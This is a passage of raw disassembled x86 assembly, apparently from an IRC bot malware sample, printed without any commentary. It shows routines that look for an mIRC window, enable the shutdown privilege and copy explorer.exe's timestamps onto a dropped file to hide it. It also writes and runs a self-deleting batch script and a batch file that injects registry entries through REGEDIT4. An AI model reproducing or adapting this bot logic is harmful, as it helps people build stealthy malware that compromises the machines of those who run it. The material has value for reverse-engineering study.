		mov	dword_43A4E4, eax

loc_40966D:				; CODE XREF: sub_4089F2+C68j
					; sub_4089F2+C6Ej
		mov	dword_43A4E0, 1

loc_409677:				; CODE XREF: sub_4089F2+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4089F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40967F	proc near		; CODE XREF: sub_40CE55+51F9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43A478, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4096C7
		push	dword_43A47C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4096C7:				; CODE XREF: sub_40967F+1Aj
		cmp	dword_43A480, esi
		jz	short loc_4096FB
		push	dword_43A484
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4096FB:				; CODE XREF: sub_40967F+4Ej
		cmp	dword_43A488, esi
		jz	short loc_40972F
		push	dword_43A48C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_40972F:				; CODE XREF: sub_40967F+82j
		cmp	dword_43A490, esi
		jz	short loc_409763
		push	dword_43A494
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409763:				; CODE XREF: sub_40967F+B6j
		cmp	dword_43A498, esi
		jz	short loc_409797
		push	dword_43A49C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409797:				; CODE XREF: sub_40967F+EAj
		cmp	dword_43A4A0, esi
		jz	short loc_4097CB
		push	dword_43A4A4
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4097CB:				; CODE XREF: sub_40967F+11Ej
		cmp	dword_43A4A8, esi
		jz	short loc_4097FF
		push	dword_43A4AC
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4097FF:				; CODE XREF: sub_40967F+152j
		cmp	dword_43A4B0, esi
		jz	short loc_409833
		push	dword_43A4B4
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409833:				; CODE XREF: sub_40967F+186j
		cmp	dword_43A4B8, esi
		jz	short loc_409867
		push	dword_43A4BC
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409867:				; CODE XREF: sub_40967F+1BAj
		cmp	dword_43A4C0, esi
		jz	short loc_40989B
		push	dword_43A4C4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_40989B:				; CODE XREF: sub_40967F+1EEj
		cmp	dword_43A4C8, esi
		jz	short loc_4098CF
		push	dword_43A4CC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_4098CF:				; CODE XREF: sub_40967F+222j
		cmp	dword_43A4D0, esi
		jz	short loc_409903
		push	dword_43A4D4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409903:				; CODE XREF: sub_40967F+256j
		cmp	dword_43A4D8, esi
		jz	short loc_409937
		push	dword_43A4DC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_409937:				; CODE XREF: sub_40967F+28Aj
		cmp	dword_43A4E0, esi
		jz	short loc_40996B
		push	dword_43A4E4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h

loc_40996B:				; CODE XREF: sub_40967F+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_429A0C
		push	eax
		call	sub_4154E7
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409998
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_409998:				; CODE XREF: sub_40967F+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40967F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099AA	proc near		; CODE XREF: sub_40CE55+C50p
					; sub_40CE55+C84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_409A35
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_409A35
		cmp	[ebp+arg_8], esi
		jz	short loc_409A35
		cmp	byte ptr [eax],	0
		jz	short loc_409A35
		push	ebx
		push	edi
		call	sub_41FD7B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_409A30
		push	[ebp+arg_4]
		push	edi
		call	sub_415AC0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409A29
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D40
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415CF0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416F10
		push	[ebp+arg_4]
		call	sub_415CF0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415C10
		push	ebx
		push	edi
		call	sub_415C00
		add	esp, 30h
		mov	esi, edi

loc_409A29:				; CODE XREF: sub_4099AA+3Cj
		push	ebx
		call	sub_415E3D
		pop	ecx

loc_409A30:				; CODE XREF: sub_4099AA+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409A37
; ---------------------------------------------------------------------------

loc_409A35:				; CODE XREF: sub_4099AA+Cj
					; sub_4099AA+13j ...
		xor	eax, eax

loc_409A37:				; CODE XREF: sub_4099AA+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4099AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A3B	proc near		; CODE XREF: sub_40CCDD+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415570
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415CF0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_409A71
		or	eax, 0FFFFFFFFh
		jmp	short loc_409AE4
; ---------------------------------------------------------------------------

loc_409A71:				; CODE XREF: sub_409A3B+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_409A93

loc_409A7D:				; CODE XREF: sub_409A3B+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_409A8A
		cmp	dl, 0Dh
		jnz	short loc_409A8E

loc_409A8A:				; CODE XREF: sub_409A3B+48j
		and	byte ptr [ecx+esi], 0

loc_409A8E:				; CODE XREF: sub_409A3B+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409A7D

loc_409A93:				; CODE XREF: sub_409A3B+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_409AC4
		lea	edi, [ebp+var_7CC]

loc_409AA0:				; CODE XREF: sub_409A3B+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_409ABF
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_409ABF
		cmp	ebx, 1F4h
		jge	short loc_409AC4
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_409ABF:				; CODE XREF: sub_409A3B+69j
					; sub_409A3B+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_409AA0

loc_409AC4:				; CODE XREF: sub_409A3B+5Dj
					; sub_409A3B+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_409AE2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4155D0
		add	esp, 0Ch

loc_409AE2:				; CODE XREF: sub_409A3B+8Ej
		mov	eax, ebx

loc_409AE4:				; CODE XREF: sub_409A3B+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_409A3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409AE8	proc near		; CODE XREF: sub_409B42+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409B21
		push	ebx
		mov	ebx, edi

loc_409B05:				; CODE XREF: sub_409AE8+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409B24
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409B05
		pop	ebx

loc_409B21:				; CODE XREF: sub_409AE8+18j
		pop	edi
		pop	esi
		retn
sub_409AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B24	proc near		; CODE XREF: sub_409AE8+25p
					; sub_409B42+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417193
		cmp	al, 61h
		pop	ecx
		jl	short loc_409B3F
		cmp	al, 7Ah
		jg	short loc_409B3F
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_409B3F:				; CODE XREF: sub_409B24+Ej
					; sub_409B24+12j
		xor	eax, eax
		retn
sub_409B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B42	proc near		; CODE XREF: sub_40B24D+10p
					; sub_40B27F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D70
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415CF0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409AE8
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_409B80:				; CODE XREF: sub_409B42+B6j
		test	esi, esi
		jle	short loc_409BFE
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417193
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BF6

loc_409BA6:				; CODE XREF: sub_409B42+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409B24
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409BC7
		mov	eax, ecx

loc_409BC7:				; CODE XREF: sub_409B42+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409BFA
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417193
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417193
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409BA6

loc_409BF6:				; CODE XREF: sub_409B42+62j
		dec	edi
		dec	esi
		jmp	short loc_409B80
; ---------------------------------------------------------------------------

loc_409BFA:				; CODE XREF: sub_409B42+8Aj
		xor	eax, eax
		jmp	short loc_409C03
; ---------------------------------------------------------------------------

loc_409BFE:				; CODE XREF: sub_409B42+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_409C03:				; CODE XREF: sub_409B42+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C08	proc near		; CODE XREF: sub_40CE55+3B4Ep
					; sub_40CE55+4755p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_421088
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4210CC
		lea	eax, [ebp+var_100]

loc_409C41:				; CODE XREF: sub_409C08+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_409C4D
		cmp	cl, 9
		jnz	short loc_409C50

loc_409C4D:				; CODE XREF: sub_409C08+3Ej
		inc	eax
		jmp	short loc_409C41
; ---------------------------------------------------------------------------

loc_409C50:				; CODE XREF: sub_409C08+43j
					; sub_409C08+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_409C6A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_409C50
		cmp	cl, 21h
		jl	short loc_409C50

loc_409C6A:				; CODE XREF: sub_409C08+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_43A4E8
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_415A6A
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409C08	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C92	proc near		; CODE XREF: sub_40CE55+5185p
		push	esi
		push	0
		call	dword_43A388
		test	eax, eax
		jz	short loc_409CC9
		push	1
		call	dword_43A3A8
		mov	esi, eax
		test	esi, esi
		jz	short loc_409CC9
		push	edi
		push	esi
		call	dword_4210D4
		push	esi
		mov	edi, eax
		call	dword_4210D0
		call	dword_43A40C
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_409CC9:				; CODE XREF: sub_409C92+Bj
					; sub_409C92+19j
		xor	eax, eax
		pop	esi
		retn
sub_409C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CCD	proc near		; CODE XREF: sub_40CE55+4545p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	dword_43A3C4
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409D49
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4210E0
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4210DC
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4154E7
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_43A414
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_43A414
		push	ebx
		call	dword_4210D8
		push	edi
		call	dword_42106C
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_409D4B
; ---------------------------------------------------------------------------

loc_409D49:				; CODE XREF: sub_409CCD+16j
		xor	eax, eax

loc_409D4B:				; CODE XREF: sub_409CCD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409CCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D4F	proc near		; CODE XREF: sub_40C682+21Cp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_43A474
		test	eax, eax
		jz	short loc_409DEE
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_421078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4210E8
		push	ebx
		mov	ebx, dword_42106C
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409DEE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4210E4
		push	esi
		call	ebx

loc_409DEE:				; CODE XREF: sub_409D4F+2Aj
					; sub_409D4F+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409D4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DF3	proc near		; CODE XREF: sub_40CE55+13B6p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413D67
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_43A300
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409E15	proc near		; CODE XREF: sub_40BCEF+472p
					; sub_40CE55+5405p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42C198, esi
		push	edi
		jz	short loc_409E39
		cmp	dword_43A488, esi
		jnz	short loc_409E39
		push	esi
		call	sub_40B3AE
		pop	ecx

loc_409E39:				; CODE XREF: sub_409E15+13j
					; sub_409E15+1Bj
		call	sub_41515C
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4210F8
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_409F99
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	dword_421070
		push	edi
		call	dword_42106C
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438FDC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	dword_4210C8
		push	eax
		call	dword_42107C
		lea	eax, [ebp+var_15C]
		push	eax
		call	dword_421094
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409F41
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	dword_4210F4

loc_409F41:				; CODE XREF: sub_409E15+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	dword_4210F0
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC

loc_409F99:				; CODE XREF: sub_409E15+72j
		pop	edi
		pop	esi
		leave
		retn
sub_409E15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F9D	proc near		; CODE XREF: sub_40C682+31p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415D70
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCA1c_bat ; "c:\\a1c.bat"
		push	eax
		movsb
		call	sub_4154E7
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_421078
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_40A057
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	dword_421070
		push	edi
		call	dword_42106C
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	dword_4210EC

loc_40A057:				; CODE XREF: sub_409F9D+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409F9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A05B	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A3F8
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A083
		push	[esp+arg_0]
		call	dword_43A43C
		test	eax, eax
		jnz	short loc_40A07C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40A07C:				; CODE XREF: sub_40A05B+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A083:				; CODE XREF: sub_40A05B+Dj
		retn
sub_40A05B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A084	proc near		; CODE XREF: sub_40CB75+D6p
		mov	ecx, dword_43A2E0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A092
		call	ecx

locret_40A092:				; CODE XREF: sub_40A084+Aj
		retn
sub_40A084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A093	proc near		; CODE XREF: sub_40CE55:loc_411F8Cp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_43A434
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A159
		sub	ecx, 32h
		jz	loc_40A152
		sub	ecx, 48h
		jz	short loc_40A0F3
		sub	ecx, 6Eh
		jz	short loc_40A0EC

loc_40A0D5:				; CODE XREF: sub_40A093+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B428
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	short loc_40A133
; ---------------------------------------------------------------------------

loc_40A0EC:				; CODE XREF: sub_40A093+40j
		push	offset unk_42B3F0
		jmp	short loc_40A125
; ---------------------------------------------------------------------------

loc_40A0F3:				; CODE XREF: sub_40A093+3Bj
		push	[ebp+var_8]
		call	sub_415DC9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415570
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A120
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_43A434
		cmp	eax, edi
		jz	short loc_40A159
		jmp	short loc_40A0D5
; ---------------------------------------------------------------------------

loc_40A120:				; CODE XREF: sub_40A093+79j
		push	offset unk_42B3AC

loc_40A125:				; CODE XREF: sub_40A093+5Ej
					; sub_40A093+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40A133:				; CODE XREF: sub_40A093+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B16D
		pop	ecx

loc_40A143:				; CODE XREF: sub_40A093+C8j
					; sub_40A093+DCj
		push	esi
		call	sub_415E3D
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40A152:				; CODE XREF: sub_40A093+32j
		push	offset unk_42B368
		jmp	short loc_40A125
; ---------------------------------------------------------------------------

loc_40A159:				; CODE XREF: sub_40A093+29j
					; sub_40A093+89j
		cmp	[esi], edi
		jbe	short loc_40A143
